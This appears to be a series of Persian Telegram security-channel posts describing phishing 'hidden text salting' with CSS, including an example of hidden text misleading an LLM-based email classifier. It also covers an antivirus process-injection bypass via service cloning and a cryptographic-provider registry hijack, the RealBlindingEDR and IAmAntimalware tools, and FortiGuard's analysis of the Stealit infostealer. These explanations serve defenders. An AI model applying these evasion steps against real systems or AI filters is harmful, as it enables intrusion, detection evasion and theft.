بدنه ایمیل (Email Body): این متداول‌ترین محل برای تزریق Salt است. مهاجمان کاراکترهای پنهان را بین کلمات کلیدی (مانند نام برندها) قرار می‌دهند تا شناسایی آن‌ها توسط فیلترهای محتوا را مختل کنند.

انواع محتوای مورد استفاده به عنوان Salt

سه نوع محتوای اصلی برای این هدف به کار گرفته می‌شود:

1. کاراکترها (Characters): شامل کاراکترهای تصادفی که بین کلمات کلیدی قرار می‌گیرند یا کاراکترهای خاص با عرض صفر (Zero-Width) مانند ZWSP و ZWNJ که بین حروف یک برند (مانند Norton LifeLock) تزریق می‌شوند. این کاراکترها با چشم غیرمسلح دیده نمی‌شوند اما توسط پارسرهای ایمیل به عنوان بخشی از رشته متنی شناسایی می‌شوند.

2. پاراگراف‌ها (Paragraphs): جملات و عبارات کاملاً بی‌ربط (مثلاً به زبان آلمانی در یک ایمیل فیشینگ انگلیسی) که در بدنه ایمیل گنجانده شده و سپس با استفاده از CSS کاملاً پنهان می‌شوند.

3. کامنت‌ها (Comments): به ویژه در پیوست‌های HTML، کامنت‌های بی‌ربط زیادی بین کدهای JavaScript یا سایر بخش‌های کلیدی قرار داده می‌شود تا تحلیل استاتیک را دشوار کند.

تکنیک‌های رایج CSS برای پنهان‌سازی محتوا

مهاجمان از سه دسته اصلی ویژگی‌های CSS برای نامرئی کردن Salt سوءاستفاده می‌کنند:

1. ویژگی‌های متنی (Text Properties):

font-size: تنظیم اندازه فونت روی صفر یا یک مقدار بسیار کوچک.

color: تنظیم رنگ متن به همان رنگ پس‌زمینه (مثلاً سفید روی سفید).

2. ویژگی‌های نمایش و شفافیت (Visibility and Display Properties):

opacity: 0: المان را کاملاً شفاف و نامرئی می‌کند.

display: none: المان را به طور کامل از چیدمان صفحه حذف می‌کند.

visibility: hidden: المان را پنهان می‌کند اما فضای آن در چیدمان صفحه حفظ می‌شود.

3. ویژگی‌های اندازه و برش (Clipping and Sizing Properties):

width: 0 یا height: 0: عرض یا ارتفاع کانتینر حاوی متن Salt را صفر قرار می‌دهند.

overflow: hidden: محتوای اضافی یک کانتینر کوچک را پنهان می‌کنند. برای مثال، متن بزرگی را در یک دایره با شعاع صفر قرار داده و سرریز آن را مخفی می‌کنند.

شیوع این تکنیک در ایمیل‌های اسپم در مقابل ایمیل‌های قانونی
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Hidden_Text_Salting آقای امید میرزائی محقق و سرپرست تیم امنیتی سیسکو تالوس خبر از کشف یک تکنیک فریبنده به نام "Hidden Text Salting" داد. تحلیل تکنیک "Hidden Text Salting": سوءاستفاده از CSS برای فریب سیستم‌های امنیتی ایمیل بر اساس گزارش ایشان، مهاجمان…
تحلیل‌ها نشان می‌دهد که استفاده از تکنیک‌های پنهان‌سازی محتوا با CSS به طور قابل توجهی در ایمیل‌های اسپم و تهدیدآمیز شایع‌تر از ایمیل‌های قانونی است. اگرچه در ایمیل‌های قانونی نیز از این ویژگی‌های CSS برای اهداف مشروع مانند (Responsive Design) یا (Tracking Pixels) استفاده می‌شود، اما تزریق محتوای متنی بی‌ربط (Salting) تقریباً همیشه در ایمیل‌های مخرب مشاهده می‌شود.

تأثیر Hidden Text Salting بر راهکارهای امنیتی پیشرفته

این تکنیک نه تنها فیلترهای ساده مبتنی بر کلمات کلیدی را دور می‌زند، بلکه می‌تواند راهکارهای پیشرفته مبتنی بر هوش مصنوعی و مدل‌های زبانی بزرگ (LLMs) را نیز به چالش بکشد.

یک مثال عملی نشان می‌دهد که چگونه تزریق مقدار کمی متن پنهان و بی‌ربط می‌تواند خروجی یک LLM (مانند GPT-4o mini) را در تشخیص "قصد" (Intent) و "احساس" (Sentiment) یک ایمیل فیشینگ تغییر دهد. برای مثال، یک ایمیل که "قصد" آن به درستی "خنثی" (Neutral) تشخیص داده شده بود، با افزودن یک متن Salt پنهان، به "مثبت" (Positive) تغییر یافت و از دید سیستم امنیتی مشروع جلوه کرد. به همین ترتیب، "احساس" یک ایمیل که "درخواست اقدام" (Request Action) بود، با این تکنیک به "زمان‌بندی جلسه" (Schedule Meeting) تغییر پیدا کرد.

این مثال‌ها نشان می‌دهد که اگر راهکارهای امنیتی مدرن بدون آگاهی از این تکنیک‌های متخاصم و بدون اقدامات متقابل مناسب به کار گرفته شوند، تا چه حد می‌توانند آسیب‌پذیر باشند.

@NullError_ir
#Bypassing_Antivirus

تحلیل جامع آسیب‌پذیری تزریق کد به فرآیندهای آنتی‌ویروس

یک تکنیک پیشرفته و بسیار مهم که توسط یک پژوهشگر امنیت سایبری با نام مستعار "Two Seven One Three" کشف شده است. این تکنیک به مهاجمان اجازه می‌دهد تا با سوءاستفاده از مکانیزم‌های حفاظتی خود نرم‌افزارهای آنتی‌ویروس، کدهای مخرب را مستقیماً به فرآیندهای اصلی و محافظت‌شده‌ی این محصولات امنیتی تزریق کنند. این روش نه تنها به مهاجم امکان می‌دهد تا از دید سیستم‌های امنیتی پنهان بماند، بلکه به او اجازه می‌دهد تا یک درب پشتی (Backdoor) پایدار در سیستمی ایجاد کند که قاعدتاً باید تحت محافظت شدید باشد.

در ادامه، جزئیات کامل این تکنیک، و اهمیت آن را بررسی می‌کنیم.

۱. مکانیزم‌های دفاعی آنتی‌ویروس‌ها (چرا این حمله مهم است؟)

برای درک عمق این آسیب‌پذیری، ابتدا باید بدانیم آنتی‌ویروس‌ها چگونه از خودشان در برابر حملات محافظت می‌کنند:

سطح دسترسی SYSTEM: فرآیندهای آنتی‌ویروس معمولاً با بالاترین سطح دسترسی در ویندوز (SYSTEM) اجرا می‌شوند تا بتوانند بر تمام فعالیت‌های سیستم نظارت کرده و تهدیدات را خنثی کنند.

محافظت از فرآیند (Process Protection): آنتی‌ویروس‌ها از مکانیزم‌هایی مانند Protected Process Light (PPL) در ویندوز استفاده می‌کنند. این ویژگی اجازه نمی‌دهد که حتی فرآیندهایی با دسترسی مدیر (Administrator) بتوانند فرآیندهای محافظت‌شده را دستکاری، متوقف یا به آن‌ها کد تزریق کنند. به همین دلیل این فرآیندها "unkillable" یا غیرقابل توقف نامیده می‌شوند.

بررسی یکپارچگی کد (Code Integrity Checks): آنتی‌ویروس‌ها به‌طور مداوم بررسی می‌کنند که ماژول‌ها و کتابخانه‌هایی (DLL) که در فرآیندهایشان بارگذاری می‌شوند، دارای امضای دیجیتال معتبر باشند و دستکاری نشده باشند.

درایورهای سطح کرنل (Kernel-Level Drivers): درایورهای آنتی‌ویروس در سطح هسته سیستم‌عامل (Kernel) فعالیت می‌کنند و هرگونه تلاش برای تغییر در مکانیزم‌های شناسایی یا دستکاری فرآیندهای محافظت‌شده را مسدود می‌کنند.

حفاظت از فایل‌ها و رجیستری: آنتی‌ویروس‌ها از دسترسی و نوشتن در پوشه نصب خود و کلیدهای رجیستری مربوط به خودشان به‌شدت محافظت می‌کنند تا از غیرفعال شدن یا دستکاری آن‌ها جلوگیری شود.

این حمله دقیقاً این لایه‌های دفاعی را هدف قرار می‌دهد و آن‌ها را دور می‌زند.

۲. تشریح تکنیک حمله: شبیه‌سازی سرویس و تزریق کد

این تکنیک در دو مرحله اصلی انجام می‌شود:

مرحله اول: شبیه‌سازی سرویس محافظت‌شده (Service Cloning)

مهاجم به‌جای حمله مستقیم به سرویس اصلی و در حال اجرای آنتی‌ویروس (که تقریباً غیرممکن است)، یک کپی یا "کلون" از آن سرویس ایجاد می‌کند.

1. صادر کردن کلید رجیستری: مهاجم کلید رجیستری مربوط به یکی از سرویس‌های محافظت‌شده آنتی‌ویروس (مثلاً BDProtSrv در Bitdefender) را پیدا کرده و آن را Export می‌کند. این کلید حاوی تمام تنظیمات و پیکربندی‌های آن سرویس است.

2. وارد کردن کلید با نام جدید: سپس مهاجم همان کلید رجیستری را با یک نام جدید Import می‌کند. با این کار، یک سرویس کاملاً جدید اما با همان مشخصات و سطح حفاظت سرویس اصلی در سیستم تعریف می‌شود.

3. بارگذاری سرویس کلون‌شده: پس از راه‌اندازی مجدد سیستم (Reboot)، سرویس‌منیجر ویندوز (Services.exe) این سرویس جدید را شناسایی کرده و آن را در حافظه پنهان خود بارگذاری می‌کند. حالا مهاجم یک سرویس کلون‌شده دارد که مانند سرویس اصلی، محافظت‌شده (PPL) است و با دسترسی SYSTEM اجرا می‌شود.

مرحله دوم: تزریق کد از طریق ربودن ارائه‌دهنده رمزنگاری (Hijacking Cryptographic Provider)

از آنجایی که تزریق مستقیم کد به فرآیند محافظت‌شده کلون‌شده نیز مسدود است، مهاجم از یک مسیر هوشمندانه و غیرمستقیم استفاده می‌کند:

API رمزنگاری ویندوز: فرآیندهای آنتی‌ویروس برای عملیات مختلفی مانند بررسی امضای دیجیتال و رمزنگاری، از توابع API رمزنگاری ویندوز (Windows Cryptography API) استفاده می‌کنند. این API برای یافتن ارائه‌دهندگان خدمات رمزنگاری (Providers) به یک مسیر مشخص در رجیستری مراجعه می‌کند.

2. تغییر مسیر در رجیستری: مهاجم کلید رجیستری زیر را دستکاری می‌کند:

HKLM\SOFTWARE\Microsoft\Cryptography\Defaults\Provider

او مسیر پیش‌فرض را به مسیر فایل DLL مخرب خود تغییر می‌دهد.

3. بارگذاری DLL مخرب: هنگامی که سرویس کلون‌شده آنتی‌ویروس اجرا می‌شود، برای انجام عملیات رمزنگاری، به مسیر دستکاری‌شده در رجیستری مراجعه می‌کند و ناآگاهانه، DLL مخرب مهاجم را به جای کتابخانه اصلی و معتبر ویندوز، در فضای حافظه خود بارگذاری (Load) می‌کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Bypassing_Antivirus تحلیل جامع آسیب‌پذیری تزریق کد به فرآیندهای آنتی‌ویروس یک تکنیک پیشرفته و بسیار مهم که توسط یک پژوهشگر امنیت سایبری با نام مستعار "Two Seven One Three" کشف شده است. این تکنیک به مهاجمان اجازه می‌دهد تا با سوءاستفاده از مکانیزم‌های حفاظتی…
4. دور زدن بررسی امضای دیجیتال: برای اینکه آنتی‌ویروس متوجه نشود که یک DLL غیرمعتبر بارگذاری شده است، مهاجم امضای دیجیتال یک برنامه معتبر ویندوز را کپی کرده و DLL مخرب خود را با آن امضا می‌کند. برای این کار از ابزارهایی مانند CertClone استفاده می‌شود.

با این روش، کد مخرب مهاجم اکنون در بستر یک فرآیند کاملاً محافظت‌شده و با بالاترین سطح دسترسی در حال اجرا است. این کد می‌تواند فایل‌هایی را در پوشه نصب آنتی‌ویروس بنویسد (کاری که در حالت عادی غیرممکن است)، یک درب پشتی ایجاد کند، یا سایر بدافزارها را بدون شناسایی شدن اجرا کند.

۳. ابزار IAmAntimalware: اتوماسیون فرآیند حمله

پژوهشگر این تکنیک، برای اثبات عملی بودن آن و خودکارسازی مراحل، ابزاری متن‌باز به نام IAmAntimalware را در گیت‌هاب منتشر کرده است. این ابزار با دریافت چند پارامتر خط فرمان، تمام مراحل زیر را به‌صورت خودکار انجام می‌دهد:

* شبیه‌سازی سرویس مورد نظر.

* تغییر کلید رجیستری مربوط به ارائه‌دهنده رمزنگاری یا اشیاء COM.

* وارد کردن گواهی دیجیتال کلون‌شده برای دور زدن بررسی امضا.

* راه‌اندازی سرویس کلون‌شده و اجرای کد مخرب.

این ابزار روی محصولات امنیتی معروفی مانند Bitdefender ، Trend Micro و Avast با موفقیت آزمایش شده است.

. پیامدها و خطرات

اهمیت این تکنیک در این است که از نقاط قوت آنتی‌ویروس علیه خودش استفاده می‌کند:

ایجاد درب پشتی پایدار: بدافزار می‌تواند خود را در محیط آنتی‌ویروس جای دهد و با هر بار اجرای سیستم، همراه با آنتی‌ویروس اجرا شود و شناسایی آن بسیار دشوار خواهد بود.

غیرفعال‌سازی پنهانی: کد تزریق‌شده می‌تواند به‌تدریج و به‌صورت پنهانی، قابلیت‌های شناسایی آنتی‌ویروس را غیرفعال کند.

اجرای دستورات با بالاترین سطح دسترسی: مهاجم می‌تواند از این طریق به کل سیستم با دسترسی SYSTEM مسلط شود.
#RealBlindingEDR

ابزار RealBlindingEDR غیرفعال‌سازی دائمی AV/EDR با استفاده از Kernel Callbackها

ابزاری متن‌باز که به مهاجمان این امکان را می‌دهد که با پاک‌سازی callbackهای حیاتی سطح کرنل در سیستم‌عامل ویندوز، نرم‌افزارهای آنتی‌ویروس (AV) و تشخیص و پاسخ نقطه پایانی (EDR) را کور (blind)، به‌طور دائم غیرفعال یا خاتمه دهند.
Please open Telegram to view this post
VIEW IN TELEGRAM
#Stealit

تحلیل کمپین بدافزار جدید Stealit
و بهره‌برداری از قابلیت Node.js SEA برای پنهان‌سازی و گسترش


محققان FortiGuard به تازگی یک کمپین فعال و جدید از بدافزار سرقت اطلاعات Stealit را شناسایی کرده است که از یک تکنیک نوآورانه برای توزیع و اجرای payloadهای خود بهره می‌برد. این کمپین با استفاده از قابلیت آزمایشی Single Executable Application (SEA) در Node.js، اسکریپت‌های مخرب خود را به صورت یک فایل اجرایی مستقل بسته‌بندی می‌کند. این رویکرد به بدافزار اجازه می‌دهد تا بدون نیاز به پیش‌نصب بودن Node.js روی سیستم قربانی، اجرا شود و در نتیجه شناسایی آن را دشوارتر می‌سازد.

در ادامه، تحلیل فنی دقیقی از این کمپین، از مکانیزم توزیع تا اجزای اصلی و تکنیک‌های فرار از تحلیل آن ارائه می‌شود.

زنجیره آلودگی و توزیع

بدافزار Stealit ، همانند نسخه‌های پیشین، خود را در قالب نصب‌کننده‌های نرم‌افزارهای قانونی مانند بازی‌ها و برنامه‌های VPN مخفی می‌کند. این فایل‌های آلوده از طریق پلتفرم‌های اشتراک‌گذاری فایل نظیر Mediafire و Discord توزیع می‌شوند. مهاجمان برای پیچیده‌تر کردن فرآیند تحلیل، این نصب‌کننده‌ها را با ابزارهایی مانند PyInstaller بسته‌بندی کرده یا در آرشیوهای فشرده قرار می‌دهند.

جالب توجه است که وب‌سایت پنل کنترل و فرماندهی (C2) این بدافزار نیز به دامنه‌های جدیدی منتقل شده است. این وب‌سایت، Stealit را به عنوان یک "راه‌حل حرفه‌ای استخراج داده" با طرح‌های اشتراک مختلف برای سیستم‌عامل‌های ویندوز و اندروید تبلیغ می‌کند و حتی یک کانال تلگرامی برای جذب مشتریان بالقوه دارد.

تحلیل فنی نصب‌کننده (Installer)

فرآیند نصب بدافزار چند لایه و بسیار پیچیده است و در تمام مراحل از obfuscation سنگین برای جلوگیری از تحلیل کد استفاده می‌شود.

#**لایه اول: بهره‌برداری از Node.js SEA**

فایل اجرایی اولیه یک بسته Node.js SEA است. این قابلیت آزمایشی، تمام اسکریپت‌ها و وابستگی‌های لازم را در یک فایل باینری واحد جمع‌آوری می‌کند. اسکریپت مخرب اصلی در بخشی از منابع فایل اجرایی به نام NODE_SEA_BLOB ذخیره شده است. بررسی متادیتای این بخش نشان می‌دهد که این بسته با استفاده از یک پروژه متن‌باز به نام AngaBlue ساخته شده که فرآیند ایجاد فایل‌های اجرایی SEA را خودکار می‌کند.

#**لایه‌های دوم و سوم: اجرای درون حافظه**

اسکریپت لایه اول پس از اجرا، یک blob بزرگ و رمزنگاری‌شده را از داخل خود استخراج، رمزگشایی و با استفاده از تابع require در Node.js مستقیماً در حافظه اجرا می‌کند. این اسکریپت لایه دوم نیز به نوبه خود، اسکریپت لایه سوم را که باز هم به شدت مبهم‌سازی شده، در حافظه اجرا می‌کند. این تکنیک زنجیره‌ای اجرای درون حافظه، تحلیل مبتنی بر فایل را بسیار دشوار می‌سازد.

تکنیک‌های ضد تحلیل (Anti-Analysis)

اسکریپت لایه سوم، پیش از نصب اجزای اصلی، مجموعه‌ای گسترده از بررسی‌ها را برای تشخیص محیط‌های تحلیل و ماشین‌های مجازی انجام می‌دهد. این بررسی‌ها شامل موارد زیر است:

* تشخیص محیط مجازی: حداقل حافظه سیستم (2GB)، تعداد هسته‌های پردازنده (حداقل 2)، و بررسی نام کاربری و نام میزبان در برابر لیست سیاه کلمات کلیدی (مانند vmware , sandbox , analyst , test ).

* بررسی فایل‌ها و مسیرهای مشکوک: جستجو برای فایل‌ها و درایورهای مرتبط با VMware و VirtualBox.

* تحلیل زمانی (Timing Analysis): اندازه‌گیری زمان اجرای عملیات ریاضی برای تشخیص کندی ناشی از دیباگرها.

* شناسایی فرآیندهای پیشرفته: اجرای دستور wmic برای لیست کردن تمام فرآیندها و جستجو برای نام ابزارهای تحلیل رایج (مانند wireshark , x64dbg , IDA , Ghidra , Process Monitor ) یا آرگومان‌های مرتبط با دیباگ.

* بررسی پورت‌های شبکه: اجرای netstat –an برای یافتن پورت‌های فعال که در لیست سیاه قرار دارند.

* تحلیل رجیستری: بررسی کلیدهای رجیستری مرتبط با دیباگرها.

* تشخیص تزریق DLL: بررسی DLLهای بارگذاری‌شده در فرآیند بدافزار برای یافتن موارد مرتبط با ابزارهای تحلیل.

* بررسی فرآیند والد (Parent Process): چک کردن فرآیند والد برای اطمینان از اینکه خود توسط یک ابزار تحلیل اجرا نشده باشد.

اگر هر یک از این بررسی‌ها نشان دهد که بدافزار در حال تحلیل است، با نمایش یک پیام خطا، اجرای خود را متوقف می‌کند.

نصب و ماندگاری اجزای اصلی

پس از عبور موفقیت‌آمیز از بررسی‌های ضد تحلیل، نصب‌کننده سه کامپوننت اصلی را از سرور C2 دانلود می‌کند: save_data.exe , stats_db.exe و game_cache.exe .

این فایل‌ها در یک مسیر تصادفی در AppData\Local ذخیره می‌شوند و برای جلوگیری از اسکن توسط Windows Defender، مسیر دایرکتوری ایجاد شده با استفاده از یک دستور PowerShell به لیست استثنائات (Exclusion list) آن اضافه می‌شود.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Stealit تحلیل کمپین بدافزار جدید Stealit و بهره‌برداری از قابلیت Node.js SEA برای پنهان‌سازی و گسترش محققان FortiGuard به تازگی یک کمپین فعال و جدید از بدافزار سرقت اطلاعات Stealit را شناسایی کرده است که از یک تکنیک نوآورانه برای توزیع و اجرای payloadهای…
برای ماندگاری ، بدافزار یک اسکریپت Visual Basic به نام startup.vbs در پوشه Startup ویندوز ایجاد می‌کند که وظیفه اجرای کامپوننت game_cache.exe را در هر بار راه‌اندازی سیستم بر عهده دارد.

تحلیل کامپوننت‌های Payload

کامپوننت‌های دانلود شده، برخلاف نصب‌کننده اولیه که از SEA استفاده می‌کند، با ابزار متن‌باز دیگری به نام Pkg بسته‌بندی شده‌اند. هر یک از این کامپوننت‌ها وظیفه مشخصی را دنبال می‌کنند:

save_data.exe : این کامپوننت تنها در صورتی اجرا می‌شود که بدافزار با دسترسی بالا (elevated privileges) اجرا شده باشد. وظیفه اصلی آن استخراج اطلاعات از مرورگرهای مبتنی بر Chromium است. برای این کار، ابزاری به نام cache.exe را که بر پایه پروژه متن‌باز ChromElevator توسعه یافته، از خود استخراج و اجرا می‌کند. این ابزار قادر است مکانیزم‌های امنیتی مرورگرها را دور بزند.

stats_db.exe: این کامپوننت یک سارق اطلاعات (Info-stealer) قدرتمند است که طیف وسیعی از برنامه‌ها را هدف قرار می‌دهد. پیش از شروع سرقت، فرآیندهای مرتبط با برنامه‌های هدف را خاتمه می‌دهد. اهداف آن عبارتند از:

* مرورگرها: Google Chrome, Microsoft Edge, Mozilla Firefox و ده‌ها مرورگر دیگر.

* برنامه‌های مرتبط با بازی: Steam, Minecraft, Epic Games Launcher.

* پیام‌رسان‌ها: WhatsApp, Telegram.

* کیف پول‌های ارز دیجیتال: طیف گسترده‌ای از کیف پول‌های دسکتاپ (مانند Atomic و Exodus) و افزونه‌های مرورگر (مانند MetaMask, Coinbase, BinanceChain, Ronin).

game_cache.exe: این فایل، کلاینت اصلی بدافزار است که مسئولیت ارتباط با سرور C2 و اجرای دستورات مهاجم را بر عهده دارد. پس از اجرا، اطلاعات اولیه قربانی (نام کاربری و شناسه سخت‌افزار) را به سرور ارسال کرده و منتظر دریافت فرمان می‌ماند. این کامپوننت قابلیت‌های یک تروجان دسترسی از راه دور (RAT) کامل را فراهم می‌کند، از جمله:

* مشاهده زنده صفحه نمایش و وب‌کم.

* اجرای دستورات از راه دور (CMD Executor).

* مدیریت سیستم (خاموش کردن، راه‌اندازی مجدد).

* سرقت فایل‌ها از مسیرهای حساس.

* نصب و اجرای فایل‌های اجرایی دیگر و ایجاد ماندگاری برای آنها.

* تغییر تصویر پس‌زمینه دسکتاپ.

* استقرار ماژول باج‌افزار.

بازگشت به فریمورک Electron

نکته بسیار مهم این است که در طول مدت کوتاهی پس از مشاهده این کمپین، نمونه‌های جدیدی از Stealit شناسایی شدند که به استفاده از فریمورک Electron (همانند کمپین‌های قدیمی‌تر) بازگشته بودند. با این تفاوت که در نسخه جدید، اسکریپت‌های Node.js بسته‌بندی شده با الگوریتم AES-256-GCM رمزنگاری شده‌اند. این تغییر تاکتیک سریع، نشان‌دهنده انطباق‌پذیری بالای مهاجمان و تلاش مداوم آنها برای فرار از شناسایی است.